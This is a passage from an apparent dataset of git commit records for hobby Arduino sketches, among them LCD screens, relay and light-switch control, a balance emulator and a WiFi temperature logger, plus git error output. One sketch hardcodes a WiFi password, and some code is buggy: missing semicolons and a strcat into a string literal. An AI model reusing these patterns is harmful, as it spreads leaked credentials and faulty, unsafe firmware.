root[\"status\"].size());\n for (int i = 0; i < j; i++) {\n uint8_t st = root[\"status\"][i];\n set_status(i, st);\n }\n } else if (strcmp(root[\"cmd\"], \"switch_get\") == 0) {\n g_need_report = 1;\n }\n}\n\nvoid set_status(int index, char st) {\n if (st != 0)\n st = 1;\n\n Serial.print(\"set:\");\n Serial.println(index);\n Serial.println((int)st);\n\n if (g_status[index] != st) {\n g_status[index] = st;\n }\n \n if (st == 0) {\n digitalWrite(FIRST_PIN + index, LOW);\n } else {\n digitalWrite(FIRST_PIN + index, HIGH);\n }\n g_need_report = 1;\n}\n\nvoid get_all_status() {\n \n}\n\nvoid check_status() {\n char st[CHILD_NUM] = {0};\n int i = 0;\n\n for (i = 0; i < CHILD_NUM; i++) {\n st[i] = g_status[i];\n }\n\n get_all_status();\n\n for (i = 0; i < CHILD_NUM; i++) {\n if (g_status[i] != st[i]) {\n g_need_report = 1;\n break;\n }\n }\n}\n\nvoid send_msg() {\n g_buf[0] = FLAG_CHAR;\n g_buf[1] = MSG_TYPE_UP; \/\/ 1: upstream\n g_buf[2] = ((uint8_t *)&g_body_len)[1];\n g_buf[3] = ((uint8_t *)&g_body_len)[0];\n\n Serial.write(g_buf, g_body_len + HEADER_LEN);\n\/\/\/ Serial.flush();\n}\n\nvoid report_status() {\n StaticJsonBuffer<128> jsonBuffer;\n JsonObject& root = jsonBuffer.createObject();\n\n root[\"devid\"] = g_devid;\n\n JsonArray& st = root.createNestedArray(\"status\");\n for (int i = 0; i < CHILD_NUM; i++) {\n st.add(g_status[i]);\n }\n g_body_len = root.printTo((char *)g_buf + HEADER_LEN, BUF_LEN - HEADER_LEN);\n\n send_msg();\n}\n\nvoid handle_input() {\n if (g_step == 1) {\n recv_header();\n } else if (g_step == 2) {\n recv_body();\n }\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n \/\/Serial.setTimeout(100);\n Serial.println(\"setup...\");\n\n for (int i = 0; i < CHILD_NUM; i++) {\n pinMode(FIRST_PIN + i, OUTPUT);\n\/\/ digitalWrite(FIRST_PIN + i, LOW);\n }\n\n get_all_status();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n handle_input();\n\n if (millis() - g_check_ms > 1000) {\n check_status();\n g_check_ms = millis();\n }\n\n if (g_need_report) {\n report_status();\n g_need_report = 0;\n }\n\n delay(20);\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"43bc61f1385efa2ed8e3a0dfbc770da0949ebefe","subject":"Create Screens.ino","message":"Create Screens.ino","repos":"pjarvey\/Lagering-Fridge","old_file":"Screens.ino","new_file":"Screens.ino","new_contents":"\/\/ goHome returns the interface to the home screen, and resets the navigation\n\nvoid goHome (){\n buttonstate = false; \n sensorTime2 = millis();\n Loading();\n HomeSetup();\n menu = 0;\n}\n\n\/\/ loadScreen defines the cute animations on startup! Note that nothing actually loads as load time is less than a tenth of a second.\nvoid LoadScreen (){\n lcd.clear();\n lcd.home();\n lcd.setCursor(1,0);\n lcd.printByte(0);\n lcd.print(\" o88b \"); \n lcd.printByte(0);\n lcd.setCursor(0,1);\n lcd.printByte(0);\n lcd.print(\" _| 9p Lager \"); \n lcd.printByte(0);\n lcd.setCursor(0,2);\n lcd.printByte(0);\n lcd.print(\" [] [ Logger \");\n lcd.printByte(0); \n lcd.setCursor(1,3);\n lcd.printByte(0);\n lcd.print(\" [__] v0.9 \"); \n lcd.printByte(0);\n delay(100);\n \n for(int x = 0; x < 3; x++){ \n lcd.setCursor(5,1);\n lcd.printByte(7);\n lcd.setCursor(5,2);\n lcd.printByte(4)\n lcd.setCursor(5,3);\n lcd.printByte(3);\n lcd.setCursor(6,2);\n lcd.printByte(5);\n lcd.setCursor(6,3);\n lcd.printByte(4)\n delay(400);\n lcd.setCursor(5,1);\n lcd.printByte(3);\n lcd.setCursor(5,2);\n lcd.printByte(6)\n lcd.setCursor(5,3);\n lcd.printByte(4);\n lcd.setCursor(6,2);\n lcd.printByte(3);\n lcd.setCursor(6,3);\n lcd.printByte(2)\n delay(400);\n lcd.setCursor(5,1);\n lcd.printByte(4);\n lcd.setCursor(5,2);\n lcd.printByte(3)\n lcd.setCursor(5,3);\n lcd.printByte(5);\n lcd.setCursor(6,2);\n lcd.printByte(1);\n lcd.setCursor(6,3);\n lcd.printByte(3)\n delay(400);\n \n \/\/ Section below populates sensor averaging array with current values\n \/*totalT= totalT - readingsT[index]; \n readingsT[index] = dht.readTemperature(); \n totalT= totalT + readingsT[index]; \n PvT = totalT \/ numReadings; \n totalH= totalH - readingsH[index]; \n readingsH[index] = dht.readHumidity(); \n totalH= totalH + readingsH[index]; \n PvH = totalH \/ numReadings; \n index = index + 1; \n if (index >= numReadings) \n index = 0; *\/\n \n }\n lcd.clear();\n}\n\n\n\n\n\n\n\/\/write the home screen to the LCD with current data about the brew\nvoid HomeSetup(){\n \n Day = millis()\/86400000;\n \/\/Line 1\n lcd.setCursor(0,0);\n if(Mode == 1) lcd.print(\"Growing\");\n if(Mode == 0) lcd.print(\"Brewing\");\n lcd.setCursor(13,0);\n if (coolON == 1) lcd.print(\"Cool\");\n else if (heatON == 1) lcd.print(\"Heat\");\n else lcd.print(\" \");\n \/*lcd.print(Hours);\n lcd.print(\":\");\n if (Minutes < 10) lcd.print(\"0\"); \n lcd.print(Minutes);*\/\n\n\n \/\/Line 2\n lcd.setCursor(0,1);\n lcd.print(\"___________\");\n lcd.print(\" \");\n lcd.print(\"_______\"); \n \/\/Line 3\n lcd.setCursor(0,2);\n lcd.printByte(7);\n lcd.print(\" \");\n lcd.print(SvT,1); \/\/svt\n lcd.printByte(1);\n lcd.setCursor(8,2);\n lcd.print(SvH,0); \/\/svh no decimal\n lcd.printByte(2);\n lcd.setCursor(13,2); \n lcd.print(\"Day:\"); \/\/time\n if((Day - daysAdj) < 10){\n lcd.setCursor(18,2);\n lcd.print(\"0\"); } \n if((Day - daysAdj) > 9 && Day < 100)\n lcd.setCursor(18,2); \n if ((Day - daysAdj) > 99)\n lcd.setCursor(17,2); \n lcd.print((Day - daysAdj),0);\n \n \/\/Line 4\n lcd.setCursor(0,3);\n lcd.printByte(6);\n lcd.print(\" \"); \n lcd.print(PvT,1); \/\/pvt\n lcd.printByte(1);\n lcd.setCursor(8,3);\n lcd.print(PvH,0);\/\/pvh\n lcd.printByte(2);\n lcd.setCursor(13,3);\n \/\/if(Mode == 1) lcd.print(growthPreset[preset]);\n \/\/if(Mode == 0) lcd.print(growthPresetB[preset]);\n if (Hours < 10) lcd.print(\"0\");\n lcd.print(Hours);\n lcd.print(\":\");\n if (Minutes < 10) lcd.print(\"0\"); \n lcd.print(Minutes);\n lcd.print(\" \");\n}\n\n\/\/ a cute loading animation!\nvoid Loading (){\n lcd.clear(); \n for (byte LoadPos = 1; LoadPos <19; LoadPos++){\n lcd.setCursor(LoadPos, 1);\n lcd.printByte(0);\n lcd.setCursor(LoadPos, 2);\n lcd.printByte(0);\n delay (20);\n }\n delay (200);\n lcd.clear();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Screens.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3ce0014896c5f42d13e4264e983594df5267dc08","subject":"Removed some duplicated code.","message":"Removed some duplicated code.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a3c60a092ee6cdefd70a5fe19052b8b78f25dccd","subject":"Adds E-stop arduino code","message":"Adds E-stop arduino code\n","repos":"kscharm\/igvc-software,seanrsain\/igvc-software,thomaswyatt01\/igvc-software,zachcmathews\/igvc-software,seanrsain\/igvc-software,rmkeezer\/igvc-software,vmurahari3\/igvc-software,rqiu8\/igvc-software,dpattison3\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jzheng84\/igvc-software,jgkamat\/igvc-software,seanrsain\/igvc-software,monstorium\/igvc-software,rortiz9\/igvc-software,monstorium\/igvc-software,DavidPurcell\/igvc-software,vmurahari3\/igvc-software,zachcmathews\/igvc-software,rortiz9\/igvc-software,dpattison3\/igvc-software,sayakchatterjee\/igvc-software,jgkamat\/igvc-software,ytulsiani\/igvc-software,nareddyt\/igvc-software,prabhu-dev\/LineDetectorLengthFix,sgadgil6\/igvc-software,jgkamat\/igvc-software,zachcmathews\/igvc-software,prabhu-dev\/LineDetectorLengthFix,thomaswyatt01\/igvc-software,zachcmathews\/igvc-software,sayakchatterjee\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jondolan\/igvc-software,sgadgil6\/igvc-software,vmurahari3\/igvc-software,dpattison3\/igvc-software,nareddyt\/igvc-software,jondolan\/igvc-software,DavidPurcell\/igvc-software,DavidPurcell\/igvc-software,ytulsiani\/igvc-software,jzheng84\/igvc-software,nareddyt\/igvc-software,RoboJackets\/igvc-software,jzheng84\/igvc-software,jzheng84\/igvc-software,ytulsiani\/igvc-software,ytulsiani\/igvc-software,rmkeezer\/igvc-software,thomaswyatt01\/igvc-software,monstorium\/igvc-software,thaeds\/igvc-software,sayakchatterjee\/igvc-software,jgkamat\/igvc-software,vmurahari3\/igvc-software,nareddyt\/igvc-software,thaeds\/igvc-software,sayakchatterjee\/igvc-software,kscharm\/igvc-software,sayakchatterjee\/igvc-software,seanrsain\/igvc-software,kscharm\/igvc-software,DavidPurcell\/igvc-software,thaeds\/igvc-software,jgkamat\/igvc-software,DavidPurcell\/igvc-software,nareddyt\/igvc-software,rqiu8\/igvc-software,jondolan\/igvc-software,thaeds\/igvc-software,rqiu8\/igvc-software,monstorium\/igvc-software,vmurahari3\/igvc-software,rortiz9\/igvc-software,sgadgil6\/igvc-software,rmkeezer\/igvc-software,sgadgil6\/igvc-software,monstorium\/igvc-software,seanrsain\/igvc-software,thomaswyatt01\/igvc-software,prabhu-dev\/LineDetectorLengthFix,RoboJackets\/igvc-software,ytulsiani\/igvc-software,zachcmathews\/igvc-software,RoboJackets\/igvc-software,thaeds\/igvc-software,jondolan\/igvc-software,thomaswyatt01\/igvc-software,rqiu8\/igvc-software,kscharm\/igvc-software,sgadgil6\/igvc-software,jondolan\/igvc-software,RoboJackets\/igvc-software,rqiu8\/igvc-software,dpattison3\/igvc-software","old_file":"src\/hardware\/actuators\/arduino\/E-Stop\/E_stop\/E_stop.ino","new_file":"src\/hardware\/actuators\/arduino\/E-Stop\/E_stop\/E_stop.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jondolan\/igvc-software.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1ef3de7070535f6194274b59e20d38df9ef34167","subject":"Light Sitch: one button works","message":"Light Sitch: one button works\n","repos":"klenov\/cherdak_home_automation,klenov\/homeAutomationExample,klenov\/homeAutomationExample,klenov\/homeAutomationExample,klenov\/homeAutomationExample,klenov\/homeAutomationExample,klenov\/cherdak_home_automation,klenov\/cherdak_home_automation,klenov\/cherdak_home_automation,klenov\/homeAutomationExample,klenov\/homeAutomationExample,klenov\/cherdak_home_automation,klenov\/cherdak_home_automation,klenov\/cherdak_home_automation","old_file":"arduino\/light_switch\/light_switch.ino","new_file":"arduino\/light_switch\/light_switch.ino","new_contents":"#include <UIPEthernet.h> \/\/ https:\/\/github.com\/ntruchsess\/arduino_uip\n#include <RestClient.h> \/\/ https:\/\/github.com\/csquared\/arduino-restclient\n\n#define DEBUG_SWITCHER\n#define OPENHAB_HOST \"192.168.2.2\"\n#define OPENHAB_PORT 8080\n\nconst char* LIGHTS_URL = \"\/rest\/items\/Light_\";\nconst char* CONTENT_TYPE = \"Content-Type:text\/plain\";\nconst char* ACCEPT = \"Accept:application\/json\";\n\nconst int buttons_count = 3; \n\/\/ The Ethernet Controller (ENC28J60) uses the SPI pins (10, 11, 12, 13)\nconst int buttons [buttons_count] = { 2, 3, 4 };\nconst int button_shift = -1; \/\/ to get 'Light_1' for pin 2\nconst int leds_1 [buttons_count] = { 5, 7, 14 };\nconst int leds_2 [buttons_count] = { 6, 8, 15 };\nboolean buttons_state [buttons_count] = { 0, 0, 0 };\n\nRestClient client = RestClient(OPENHAB_HOST, OPENHAB_PORT);\n\nvoid setup()\n{ \n #ifdef DEBUG_SWITCHER\n Serial.begin(9600);\n Serial.println(\"connect to network\");\n #endif\n \n setup_buttons();\n client.dhcp();\n}\n\nvoid loop()\n{\n delay(3000);\n Serial.println(\"OK\");\n\n \/\/ update all buttons from api\n \/\/ for (int i=0; i<buttons_count; i++) {\n \n \/\/ }\n int button_number = 3;\n int button_state = read_button_state_from_api(button_number);\n toggle_button_led(button_number, button_state);\n}\n\nvoid set_headers()\n{\n client.setHeader(CONTENT_TYPE);\n client.setHeader(ACCEPT);\n}\n\nString json;\nint read_button_state_from_api(int button_number)\n{\n json = \"\";\n \n set_headers();\n int status_code = client.get( lights_url_by_button_number(button_number), &json );\n \n #ifdef DEBUG_SWITCHER\n Serial.print(\"Status code from server: \");\n Serial.println(status_code);\n Serial.print(\"Response body from server: \");\n Serial.println(json);\n #endif\n \n if( status_code == 200 )\n { \n #ifdef DEBUG_SWITCHER\n Serial.println(json);\n #endif\n \n return parse_api_response_to_get_state();\n }\n return 0;\n}\n\nint parse_api_response_to_get_state()\n{\n int index_of_state = json.indexOf(\"\\\"state\\\":\");\n if (index_of_state > 0)\n {\n String state;\n state = json.substring(index_of_state + 9, index_of_state + 11);\n \n #ifdef DEBUG_SWITCHER\n Serial.print(\"STATE: \");\n Serial.println(state);\n #endif\n \n if(state == \"ON\")\n {\n return 1;\n }\n }\n return 0;\n}\n\nint send_request_to_api(char const *item_name, char const *data_params)\n{\n char* query_url = \"\/rest\/items\";\n strcat( query_url, item_name);\n set_headers();\n int status_code = client.post(query_url, data_params);\n \n #ifdef DEBUG_SWITCHER\n Serial.println(\"POST query:\");\n Serial.print(query_url);\n Serial.print(\"Status code from server: \");\n Serial.println(status_code);\n #endif\n \n return status_code;\n}\n\nvoid setup_buttons()\n{\n for (int i=0; i<buttons_count; i++) {\n pinMode(buttons[i], INPUT);\n digitalWrite(buttons[i], HIGH); \/\/internal pull-ups\n pinMode(leds_1[i], OUTPUT);\n pinMode(leds_2[i], OUTPUT);\n \n \/\/all off\n digitalWrite(leds_1[i], LOW);\n digitalWrite(leds_2[i], HIGH);\n }\n}\n\nchar url[20];\nchar* lights_url_by_button_number(int button_number)\n{\n char pin_as_char[2];\n\n pin_as_char[0] = (char)(((int)'0') + button_number);\n pin_as_char[1] = '\\0';\n\n strcpy (url, LIGHTS_URL);\n strcat (url, pin_as_char);\n\n return url;\n}\n\nvoid toggle_button_led(int button_number, int state)\n{\n digitalWrite(leds_1[button_number-1], state == 1);\n digitalWrite(leds_2[button_number-1], state != 1);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/light_switch\/light_switch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a6933a552ad7992dc61b371211abcb165846e503","subject":"Include code sample for Arduino","message":"Include code sample for Arduino\n","repos":"ranisalt\/ardupet","old_file":"ardupet.ino","new_file":"ardupet.ino","new_contents":"char incomingByte = 0;\n\nconst char lampCount = 4;\nconst unsigned short doorUnlockTime = 2000; \/\/ in miliseconds\n\nbool lampStatus[lampCount];\nbool doorStatus;\nunsigned short doorUnlockTimer;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(13, OUTPUT);\n \n for (int i = 0; i < lampCount; ++i)\n lampStatus[i] = false;\n doorStatus = false;\n}\n\nvoid loop() {\n if (Serial.available() > 2) {\n \/\/ Option can be 'r' (read) or 'w' (write)\n incomingByte = Serial.read();\n \n if (incomingByte == 'r') { \n \/\/ Option can be 'l' (lamp) or 'd' (door)\n incomingByte = Serial.read();\n \n if (incomingByte == 'l') {\n \/\/ Option can be 0 to (lampCount-1) (lamp id)\n incomingByte = Serial.read();\n \n if (incomingByte < lampCount)\n Serial.write(lampStatus[incomingByte]);\n } else if (incomingByte == 'd') {\n \/\/ Discard last byte, since door does not have id and last byte has to be consumed\n Serial.read();\n \n Serial.write(doorStatus);\n }\n } else if (incomingByte == 'w') {\n \/\/ Option can be 'l' (lamp) or 'd' (door)\n incomingByte = Serial.read();\n \n if (incomingByte == 'l') {\n \/\/ Option can be 0 to (lampCount-1) (lamp id)\n incomingByte = Serial.read();\n \n if (incomingByte < lampCount) {\n \/\/ TODO: Logic to invert lamp status\n \n lampStatus[incomingByte] = !lampStatus[incomingByte];\n }\n } else if (incomingByte == 'd') {\n \/\/ Discard last byte, since door does not have id and last byte has to be consumed\n Serial.read();\n \n \/\/ TODO: Logic to unlock the door\n \n doorStatus = true;\n doorUnlockTimer = doorUnlockTime;\n }\n }\n }\n \n if (doorUnlockTimer > 0) {\n digitalWrite(13, HIGH);\n --doorUnlockTimer;\n } else {\n \/\/ TODO: Logic to lock the door?\n \n digitalWrite(13, LOW);\n doorStatus = false;\n }\n \n \/\/ Delay to make board timing predictable\n delay(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ardupet.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2d03b2225d594d84f4e5c5b1a903d6e36b9ae5d6","subject":"Update RELAY_BETA_J.ino","message":"Update RELAY_BETA_J.ino","repos":"Garuda-1\/RealityGateway,Garuda-1\/RealityGateway","old_file":"SOFTWARE\/RELAY_BETA_J.ino","new_file":"SOFTWARE\/RELAY_BETA_J.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Garuda-1\/RealityGateway.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a6fe0c26daa36fb72cc275fbf41e943f2927168f","subject":"added","message":"added\n","repos":"sdunstan\/self-driving-car","old_file":"ble-triangulator\/ble-triangulator.ino","new_file":"ble-triangulator\/ble-triangulator.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"f5cac0ac1ddc3d52a9ad187bfc8d5693d78c43ed","subject":"Proyecto arduino display 7 segmentos anodo comun","message":"Proyecto arduino display 7 segmentos anodo comun\n","repos":"codigoelectronica\/arduino_code,codigoelectronica\/arduino_code,codigoelectronica\/arduino_code","old_file":"arduino-d-7-segmentos-anodo-c\/arduino-d-7-segmentos-anodo-c.ino","new_file":"arduino-d-7-segmentos-anodo-c\/arduino-d-7-segmentos-anodo-c.ino","new_contents":"\/**\n * Arduino display 7 segmentos\n * Creado por: Oscar Fernandez <oscarfdzalz@gmail.com>\n * Publicado por: codigoelectronica.com <codigoelectronica@gmail.com>\n * \n * Este c\u00f3digo permite visualizar los n\u00fameros de 0 al 9 en el display de \n * \u00e1nodo com\u00fan\n *\/\n\n\/\/Declaramos los pines qde conexi\u00f3n del display\nconst int pins[7] = { 2, 3, 4, 5, 6, 7, 8 }; \n\n\/\/Declaramos los numeros para el \u00e1nodo com\u00fan\nconst byte numbersDisplayAnode[10] = {0b1000000, \/\/0\n 0b1111001, \/\/1\n 0b0100100, \/\/2\n 0b0110000, \/\/3\n 0b0011001, \/\/4\n 0b0010010, \/\/5\n 0b0000010, \/\/6\n 0b1111000, \/\/7\n 0b0000000, \/\/8\n 0b0010000}; \/\/9\n\nvoid setup() {\n \/\/Ponemos los pines como salida\n for(int i = 0; i < 7; i++) {\n pinMode(pins[i], OUTPUT); \n }\n\n \/\/Iniciamos el display en 0\n lightSegments(0);\n}\n\nvoid loop() {\n for(int i = 0; i < 10; i++) {\n lightSegments(i);\n delay(1000);\n }\n}\n\n\/**\n * Esta funci\u00f3n permite encender el segmento con el n\u00famero \n * pasado como argumento\n * \n * int number N\u00famero del 0 al 9\n *\/\nvoid lightSegments(int number) {\n byte numberBit = numbersDisplayAnode[number];\n for (int i = 0; i < 7; i++) {\n int bit = bitRead(numberBit, i);\n digitalWrite(pins[i], bit);\n }\n}\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-d-7-segmentos-anodo-c\/arduino-d-7-segmentos-anodo-c.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4aad5d237eb180928df25f162008320b33e52b99","subject":"Add an emulator","message":"Add an emulator\n","repos":"jsheperd\/node-weighbridge,jsheperd\/node-weighbridge,jsheperd\/node-weighbridge","old_file":"arduino_balance_response\/arduino_balance_response.ino","new_file":"arduino_balance_response\/arduino_balance_response.ino","new_contents":"const int MAXTIME = 400;\nconst int bSize = 20;\nchar buffer[bSize];\nint ByteCount;\n\n\nvoid setup () {\n pinMode(13, OUTPUT);\n Serial.begin(9600);\n Serial.setTimeout(MAXTIME);\n memset(buffer, 0, bSize);\n}\n\nvoid loop () {\n if (Serial.available()) {\n ByteCount = -1;\n ByteCount = Serial.readBytesUntil( '\\n', buffer, bSize); \/\/ We are expecting \\r\\n closing\n if(ByteCount > 0) {\n \/\/Serial.println(ByteCount, DEC);\n if(strcmp( buffer, \"AX:T?\\r\") == 0 ) Serial.println(\"XA:B0002\"); \n else if(strcmp( buffer, \"AX:N?\\r\") == 0 ) Serial.println(\"XA:T0010\"); \n else if(strcmp( buffer, \"AX:B?\\r\") == 0 ) Serial.println(\"XA:T0012\");\n else if(strcmp( buffer, \"AX:NU\\r\") == 0 ) Serial.println(\"XA:OK\");\n else if(strcmp( buffer, \"AX:TA\\r\") == 0 ) Serial.println(\"XA:OK\");\n else if(strcmp( buffer, \"AX:BR\\r\") == 0 ) Serial.println(\"XA:OK\");\n else if(strcmp( buffer, \"AX:NT\\r\") == 0 ) Serial.println(\"XA:OK\");\n else if(strcmp( buffer, \"AX:TR\\r\") == 0 ) Serial.println(\"XA:OK\");\n else Serial.println(\"XA:NACK\");\n Serial.flush();\n memset(buffer, 0, bSize);\n }\n }\n delay(10);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_balance_response\/arduino_balance_response.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"7431438a61c723cbc33e77515591c7d1598c0e31","subject":"deck arduino sketch","message":"deck arduino sketch\n","repos":"awanrky\/zoe","old_file":"arduino\/deck-arduino\/deck-arduino.ino","new_file":"arduino\/deck-arduino\/deck-arduino.ino","new_contents":"#include \"DHT.h\"\n\n#include <stdlib.h>\n#include <Adafruit_CC3000.h>\n#include <ccspi.h>\n#include <SPI.h>\n#include <string.h>\n#include \"utility\/debug.h\"\n\n#define\tDHTPIN\t2\n#define DHTTYPE\tDHT22\n\n#define LOOP_DELAY\t60000\n\n#define IDLE_TIMEOUT_MS 30000\n\n\/\/ These are the interrupt and control pins\n#define ADAFRUIT_CC3000_IRQ 3 \/\/ MUST be an interrupt pin!\n\/\/ These can be any two pins\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n\/\/ Use hardware SPI for the remaining pins\n\/\/ On an UNO, SCK = 13, MISO = 12, and MOSI = 11\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,\n SPI_CLOCK_DIVIDER); \/\/ you can change this clock speed but DI\n\n#define WLAN_SSID \"flypaper\" \/\/ cannot be longer than 32 characters!\n#define WLAN_PASS \"IamIthinkIwill\"\n\/\/ Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n#define REST_SERVER_PORT\t9000\n\nDHT dht(DHTPIN, DHTTYPE);\n\n\n\nvoid setup() {\n\tSerial.begin(115200);\n\tSerial.println(F(\"Initializing...\"));\n\n\t\/\/ Serial.println(\"\");\n\t\/\/ Serial.print(\"Starting DHT sensor...\");\n\tdht.begin();\n\t\/\/ Serial.println(\"done.\");\n\n\t\/\/ Serial.println(\"\");\n\t\/\/ Serial.println(\"Initializing the CC3000...\");\n\tif (!cc3000.begin()) {\n\t\tSerial.println(F(\"CC3000 initialization failed\"));\n\t} else {\n\t\t\/\/ uint16_t firmware = checkCc3000FirmwareVersion();\n\t\t\/\/ if (firmware < 0x113) {\n\t\t\/\/ \tSerial.println(F(\"Wrong firmware version!\"));\n\t\t\/\/ } \n \n \t\/\/ displayCc3000MACAddress();\n\n\t\t\/\/ Serial.println(F(\"\\nDeleting old connection profiles\"));\n\t\tif (!cc3000.deleteProfiles()) {\n\t\t\tSerial.println(F(\"Could not delete old connection profiles!\"));\n\t\t}\n\n\t\tchar *ssid = WLAN_SSID; \/* Max 32 chars *\/\n\t\tSerial.print(F(\"\\nAttempting to connect to \")); Serial.println(ssid);\n\n\t\tif (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n\t\t\tSerial.println(F(\"Failed!\"));\n\t\t} else {\n\t\t\tSerial.println(\"Connected!\");\n\t\t}\n\n\t\t\/\/ Serial.println(F(\"Request DHCP\"));\n\t\twhile (!cc3000.checkDHCP()) {\n\t\t\tdelay(100); \/\/ ToDo: Insert a DHCP timeout!\n\t\t} \n\n\t\twhile (! displayCc3000ConnectionDetails()) {\n\t\t\tdelay(1000);\n\t\t}\n\n\t\t\/\/ Serial.println(\"Done.\");\n\t}\n\n\tSerial.println(F(\"\\r\\nInitialization complete\\r\\n\"));\n}\n\nvoid loop() {\n\n\treadDht();\n\n delay(LOOP_DELAY);\n}\n\nvoid readDht() {\n\tfloat humidity = dht.readHumidity();\n\n\tif (isnan(humidity)) {\n\t\tSerial.println(F(\"Failed to read humidity from DHT22\"));\n\t} else {\n\t\t\/\/ Serial.print(\"Humidity: \");\n\t\t\/\/ Serial.println(humidity);\n sendData(humidity, \"percent-humidity\", \"DHT22\");\n\t}\n\n\tfloat temperatureCelcius = dht.readTemperature();\n\n\tif (isnan(temperatureCelcius)) {\n\t\tSerial.println(F(\"Failed to read temperature from DHT22\"));\n\t} else {\n\t\t\/\/ Serial.print(\"Temperature: \");\n\t\t\/\/ Serial.print(temperatureCelcius);\n\t\t\/\/ Serial.println(\" degrees Celcius\");\n sendData(temperatureCelcius, \"degrees-celcius\", \"DHT22\");\n\t}\n}\n\n\/**************************************************************************\/\n\/*!\n @brief Tries to read the CC3000's internal firmware patch ID\n*\/\n\/**************************************************************************\/\n\/\/ uint16_t checkCc3000FirmwareVersion(void)\n\/\/ {\n\/\/ uint8_t major, minor;\n\/\/ uint16_t version;\n \n\/\/ #ifndef CC3000_TINY_DRIVER \n\/\/ if(!cc3000.getFirmwareVersion(&major, &minor))\n\/\/ {\n\/\/ Serial.println(F(\"Unable to retrieve the firmware version!\\r\\n\"));\n\/\/ version = 0;\n\/\/ }\n\/\/ else\n\/\/ {\n\/\/ Serial.print(F(\"Firmware V. : \"));\n\/\/ Serial.print(major); Serial.print(F(\".\")); Serial.println(minor);\n\/\/ version = major; version <<= 8; version |= minor;\n\/\/ }\n\/\/ #endif\n\/\/ return version;\n\/\/ }\n\n\/**************************************************************************\/\n\/*!\n @brief Tries to read the 6-byte MAC address of the CC3000 module\n*\/\n\/**************************************************************************\/\n\/\/ void displayCc3000MACAddress(void)\n\/\/ {\n\/\/ uint8_t macAddress[6];\n \n\/\/ if(!cc3000.getMacAddress(macAddress))\n\/\/ {\n\/\/ Serial.println(F(\"Unable to retrieve MAC Address!\\r\\n\"));\n\/\/ }\n\/\/ else\n\/\/ {\n\/\/ Serial.print(F(\"MAC Address : \"));\n\/\/ cc3000.printHex((byte*)&macAddress, 6);\n\/\/ }\n\/\/ }\n\n\/**************************************************************************\/\n\/*!\n @brief Tries to read the IP address and other connection details\n*\/\n\/**************************************************************************\/\nbool displayCc3000ConnectionDetails(void)\n{\n uint32_t ipAddress, netmask, gateway, dhcpserv, dnsserv;\n \n if(!cc3000.getIPAddress(&ipAddress, &netmask, &gateway, &dhcpserv, &dnsserv))\n {\n Serial.println(F(\"Unable to retrieve the IP Address!\\r\\n\"));\n return false;\n }\n else\n {\n Serial.print(F(\"\\nIP Addr: \")); cc3000.printIPdotsRev(ipAddress);\n Serial.print(F(\"\\nNetmask: \")); cc3000.printIPdotsRev(netmask);\n Serial.print(F(\"\\nGateway: \")); cc3000.printIPdotsRev(gateway);\n Serial.print(F(\"\\nDHCPsrv: \")); cc3000.printIPdotsRev(dhcpserv);\n Serial.print(F(\"\\nDNSserv: \")); cc3000.printIPdotsRev(dnsserv);\n Serial.println();\n return true;\n }\n}\n\n\nvoid sendData(float data, String uom, String sensor) {\n char dataBuffer[10];\n dtostrf(data, 3, 4, dataBuffer);\n\n sendData(\n \"{\\\"value\\\":\" +\n String(dataBuffer) +\n \",\\\"uom\\\":\\\"\" +\n uom +\n \"\\\",\\\"sensor\\\":\\\"\" + \n sensor +\n 